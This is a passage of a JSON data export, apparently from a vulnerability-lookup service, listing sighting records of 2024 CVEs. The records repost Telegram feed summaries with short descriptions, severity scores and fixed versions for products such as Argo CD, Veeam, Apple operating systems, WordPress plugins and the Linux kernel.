"2024-07-22T22:00:41.000000Z"}, {"uuid": "739330ed-523d-41c1-84ba-d1288db97781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40051", "type": "seen", "source": "https://t.me/cvedetector/1468", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40051 - IP Guard File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40051 \nPublished : July 22, 2024, 6:15 p.m. | 40\u00a0minutes ago \nDescription : IP Guard v4.81.0307.0 was discovered to contain an arbitrary file read vulnerability via the file name parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T21:10:30.000000Z"}, {"uuid": "0301a504-fad1-4744-a0a5-78609023c1c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40634", "type": "seen", "source": "https://t.me/cvedetector/1467", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40634 - Argo CD JSON payload Denial of Service (DoS)\", \n  \"Content\": \"CVE ID : CVE-2024-40634 \nPublished : July 22, 2024, 6:15 p.m. | 40\u00a0minutes ago \nDescription : Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments. This vulnerability is fixed in 2.11.6, 2.10.15, and 2.9.20. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T21:10:29.000000Z"}, {"uuid": "8340b480-4a50-4ea5-8f6b-c2b02891ec9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40430", "type": "seen", "source": "https://t.me/cvedetector/1386", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40430 - SFTPGO JWT Token Lack of Security Measures Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40430 \nPublished : July 22, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : In SFTPGO 2.6.2, the JWT implementation lacks cerrtain security measures, such as using JWT ID (JTI) claims, nonces, and proper expiration and invalidation mechanisms. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-22T10:17:02.000000Z"}, {"uuid": "2a788e4a-b5f3-4acd-b8f1-7f59a9491bb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "exploited", "source": "https://t.me/CyberBulletin/569", "content": "\u26a1\ufe0fA SonicWall #vulnerability (CVE-2024-40766) is under active exploitation.\n\nThis critical flaw allows attackers to bypass access controls and potentially crash firewalls, compromising business operations. \n\n#CyberBulletin", "creation_timestamp": "2024-09-06T19:50:07.000000Z"}, {"uuid": "3af364e4-5938-4db3-bf60-5af3c3c53ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "seen", "source": "https://t.me/cvedetector/1241", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40348 - Apache Bazaar SwaggerUI Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40348 \nPublished : July 20, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : An issue in the component /api/swaggerui/static of Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-20T07:15:32.000000Z"}, {"uuid": "ed010694-3ab5-4aa7-bb20-f7c9602a68b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40347", "type": "seen", "source": "https://t.me/cvedetector/1243", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40347 - Alfresco Hyland Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-40347 \nPublished : July 20, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : A reflected cross-site scripting (XSS) vulnerability in Hyland Alfresco Platform 23.2.1-r96 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload into the parameter htmlid. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-20T07:15:33.000000Z"}, {"uuid": "0bbc5c04-bd3a-4dc2-8061-3cd9e08b3ad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40620", "type": "seen", "source": "https://t.me/cvedetector/3204", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40620 - Fleetmanager Console\u0e2a\u0e32\u0e27 Dashboard Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40620 \nPublished : Aug. 14, 2024, 8:15 p.m. | 40\u00a0minutes ago \nDescription : CVE-2024-40620 IMPACT  \n  \nA vulnerability exists in the affected product due to lack of encryption of sensitive information. The vulnerability results in data being sent between the Console and the Dashboard without encryption, which can be seen in the logs of proxy servers, potentially impacting the data's confidentiality. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-14T23:15:09.000000Z"}, {"uuid": "c427e056-9e51-4bcd-a462-3733bd30eb43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40619", "type": "seen", "source": "https://t.me/cvedetector/3201", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40619 - Siemens Simatic S7-1200 Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-40619 \nPublished : Aug. 14, 2024, 8:15 p.m. | 40\u00a0minutes ago \nDescription : CVE-2024-40619 IMPACT  \n  \nA denial-of-service vulnerability exists in the affected products. The vulnerability occurs when a malformed CIP packet is sent over the network to the device and results in a major nonrecoverable fault causing a denial-of-service. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-14T23:15:03.000000Z"}, {"uuid": "40ea81fb-4006-4da5-a97b-503d11a2ff14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/CyberBulletin/559", "content": "\u26a1\ufe0fVeeam Backup & Replication Faces RCE Flaw CVE-2024-40711  CVSS: 9.8 A series of critical vulnerabilities have been uncovered in Veeam Backup & Replication, potentially exposing organizations to unauthorized access, remote code execution, and data breaches.", "creation_timestamp": "2024-09-06T09:58:21.000000Z"}, {"uuid": "693d403c-d86b-4af5-bac8-a5617f30cdb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/CyberBulletin/552", "content": "\u26a1\ufe0fVeeam Backup & Replication Faces RCE Flaw\u2013 CVE-2024-40711 (CVSS 9.8) Allows Full System Takeover.\n\n#CyberBulletin", "creation_timestamp": "2024-09-05T07:08:09.000000Z"}, {"uuid": "17a527d0-07f3-4bd6-a7e8-db1aee74a736", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4090", "type": "seen", "source": "https://t.me/cvedetector/2216", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4090 - WordPress Floating Notification Bar Sticky Menu XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-4090 \nPublished : Aug. 1, 2024, 6:15 a.m. | 22\u00a0minutes ago \nDescription : The Floating Notification Bar, Sticky Menu on Scroll, Announcement Banner, and Sticky Header for Any   WordPress plugin before 2.7.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-01T08:44:05.000000Z"}, {"uuid": "88385579-6adc-4763-992f-63f36fef9473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40807", "type": "seen", "source": "https://t.me/cvedetector/1961", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40807 - Apple macOS Data Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40807 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A logic issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. A shortcut may be able to use sensitive data with certain actions without prompting the user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:11.000000Z"}, {"uuid": "f807f171-7052-4fc9-a33f-b827c990ebc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40465", "type": "seen", "source": "https://t.me/cvedetector/2179", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40465 - Beego Privilege Escalation Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40465 \nPublished : July 31, 2024, 9:15 p.m. | 45\u00a0minutes ago \nDescription : An issue in beego v.2.2.0 and before allows a remote attacker to escalate privileges via the getCacheFileName function in file.go file \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-01T00:22:00.000000Z"}, {"uuid": "a2faba9f-f9a2-43d2-a6e8-7a0dd34bd109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40464", "type": "seen", "source": "https://t.me/cvedetector/2178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40464 - Beego Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40464 \nPublished : July 31, 2024, 9:15 p.m. | 45\u00a0minutes ago \nDescription : An issue in beego v.2.2.0 and before allows a remote attacker to escalate privileges via the sendMail function located in beego/core/logs/smtp.go file \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-01T00:21:59.000000Z"}, {"uuid": "ae240e30-c6b5-45a2-ad89-b341f8c1b326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40645", "type": "seen", "source": "https://t.me/cvedetector/2165", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40645 - Fog Remote File Include Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40645 \nPublished : July 31, 2024, 7:15 p.m. | 32\u00a0minutes ago \nDescription : FOG is a cloning/imaging/rescue suite/inventory management system. An improperly restricted file upload feature allows authenticated users to execute arbitrary code on the fogproject server. The Rebranding feature has a check on the client banner image requiring it to be 650 pixels wide and 120 pixels high. Apart from that, there are no checks on things like file extensions. This can be abused by appending a PHP webshell to the end of the image and changing the extension to anything the PHP web server will parse. This vulnerability is fixed in 1.5.10.41. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-31T21:51:26.000000Z"}, {"uuid": "148a0b4b-d3b2-4f75-88b9-cb42e711d862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40433", "type": "seen", "source": "https://t.me/cvedetector/1731", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40433 - WeChat Insecure Permissions Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40433 \nPublished : July 26, 2024, 10:15 p.m. | 25\u00a0minutes ago \nDescription : Insecure Permissions vulnerability in Tencent wechat v.8.0.37 allows an attacker to escalate privileges via the web-view component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-27T00:43:58.000000Z"}, {"uuid": "119c6fc3-79f7-465f-aaae-f296a7c2c9d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40991", "type": "seen", "source": "https://t.me/cvedetector/730", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40991 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40991 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndmaengine: ti: k3-udma-glue: Fix of_k3_udma_glue_parse_chn_by_id()  \n  \nThe of_k3_udma_glue_parse_chn_by_id() helper function erroneously  \ninvokes \"of_node_put()\" on the \"udmax_np\" device-node passed to it,  \nwithout having incremented its reference count at any point. Fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:04.000000Z"}, {"uuid": "d88f20dd-284f-4724-b7e4-6926a4692e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40993", "type": "seen", "source": "https://t.me/cvedetector/729", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40993 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40993 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnetfilter: ipset: Fix suspicious rcu_dereference_protected()  \n  \nWhen destroying all sets, we are either in pernet exit phase or  \nare executing a \"destroy all sets command\" from userspace. The latter  \nwas taken into account in ip_set_dereference() (nfnetlink mutex is held),  \nbut the former was not. The patch adds the required check to  \nrcu_dereference_protected() in ip_set_dereference(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:03.000000Z"}, {"uuid": "1f7528a3-574e-401e-a93e-545e715af51b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4096", "type": "seen", "source": "https://t.me/cvedetector/1990", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-4096 - WordPress Responsive Tabs Stored Cross-Site Scripting Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-4096 \nPublished : July 30, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The Responsive Tabs WordPress plugin through 4.0.8 does not sanitise and escape some of its Tab settings, which could allow high privilege users such as Contributors and above to perform Stored Cross-Site Scripting attacks \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:02:51.000000Z"}, {"uuid": "fa9e35f0-88c8-4ea3-870c-39ada62fd5bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40811", "type": "seen", "source": "https://t.me/cvedetector/1960", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40811 - Apple macOS File System Protection Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40811 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6. An app may be able to modify protected parts of the file system. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:10.000000Z"}, {"uuid": "d36b8af4-4332-4ce2-94a5-32782d29e6d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40805", "type": "seen", "source": "https://t.me/cvedetector/1959", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40805 - Apple WatchOS, iPadOS, iOS, tvOS App Bypasses Privacy Preferences\", \n  \"Content\": \"CVE ID : CVE-2024-40805 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A permissions issue was addressed with additional restrictions. This issue is fixed in watchOS 10.6, macOS Sonoma 14.6, iOS 17.6 and iPadOS 17.6, tvOS 17.6. An app may be able to bypass Privacy preferences. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:09.000000Z"}, {"uuid": "d72253d9-fc9f-489e-a028-85f48de1e322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40817", "type": "seen", "source": "https://t.me/cvedetector/1958", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40817 - Apple Safari macOS UI Spoofing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40817 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved UI handling. This issue is fixed in macOS Sonoma 14.6, Safari 17.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. Visiting a website that frames malicious content may lead to UI spoofing. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:08.000000Z"}, {"uuid": "1178e1cd-2831-423e-b303-b05d05e75019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40813", "type": "seen", "source": "https://t.me/cvedetector/1957", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40813 - Apple Watch Siri Lock Screen Bypass Vulnerability (Inadvertent Information Disclosure)\", \n  \"Content\": \"CVE ID : CVE-2024-40813 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A lock screen issue was addressed with improved state management. This issue is fixed in watchOS 10.6, iOS 17.6 and iPadOS 17.6. An attacker with physical access may be able to use Siri to access sensitive user data. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:04.000000Z"}, {"uuid": "de510a73-3bdf-4138-8cfd-6a63a90237ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40895", "type": "seen", "source": "https://t.me/cvedetector/2028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40895 - FFRI AMC Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40895 \nPublished : July 30, 2024, 9:15 a.m. | 43\u00a0minutes ago \nDescription : FFRI AMC versions 3.4.0 to 3.5.3 and some OEM products that implement/bundle FFRI AMC versions 3.4.0 to 3.5.3 allow a remote unauthenticated attacker to execute arbitrary OS commands when certain conditions are met in an environment where the notification program setting is enabled and the executable file path is set to a batch file (.bat) or command file (.cmd) extension. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T12:24:02.000000Z"}, {"uuid": "5b7c8c90-d6d0-4c3a-b20d-8a9643bd4f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40822", "type": "seen", "source": "https://t.me/cvedetector/1967", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40822 - Apple WatchOS Contact Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-40822 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : This issue was addressed by restricting options offered on a locked device. This issue is fixed in watchOS 10.6, macOS Sonoma 14.6, iOS 17.6 and iPadOS 17.6, iOS 16.7.9 and iPadOS 16.7.9. An attacker with physical access to a device may be able to access contacts from the lock screen. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:20.000000Z"}, {"uuid": "fd292553-79e9-435e-90ff-713cd2f2ba16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40812", "type": "seen", "source": "https://t.me/cvedetector/1966", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40812 - Apple iOS/WatchOS/PadOS/MacOS Vision/Logic Verification Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40812 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A logic issue was addressed with improved checks. This issue is fixed in iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8, macOS Monterey 12.7.6, iOS 17.6 and iPadOS 17.6, watchOS 10.6, visionOS 1.3, macOS Sonoma 14.6. A shortcut may be able to bypass Internet permission requirements. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:19.000000Z"}, {"uuid": "da647e57-d2f4-4ecf-82a7-cf11c8f08cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40823", "type": "seen", "source": "https://t.me/cvedetector/1965", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40823 - Apple macOS Gatekeeper Info Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40823 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. An app may be able to access user-sensitive data. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:18.000000Z"}, {"uuid": "3a9b33ca-4056-46d2-a405-6039c6214caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40814", "type": "seen", "source": "https://t.me/cvedetector/1964", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40814 - Apple macOS Sonoma Privilege Escalation Downgrade Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40814 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A downgrade issue was addressed with additional code-signing restrictions. This issue is fixed in macOS Sonoma 14.6. An app may be able to bypass Privacy preferences. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:17.000000Z"}, {"uuid": "f2e81a17-0165-4c6d-b5af-bf795c60fd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40824", "type": "seen", "source": "https://t.me/cvedetector/1963", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40824 - Apple Watch App Data Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-40824 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : This issue was addressed through improved state management. This issue is fixed in watchOS 10.6, macOS Sonoma 14.6, iOS 17.6 and iPadOS 17.6, tvOS 17.6. An app may be able to bypass Privacy preferences. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:16.000000Z"}, {"uuid": "53436d73-6af0-4c75-8ff7-897c3e576000", "vulnerability_lookup_origin": 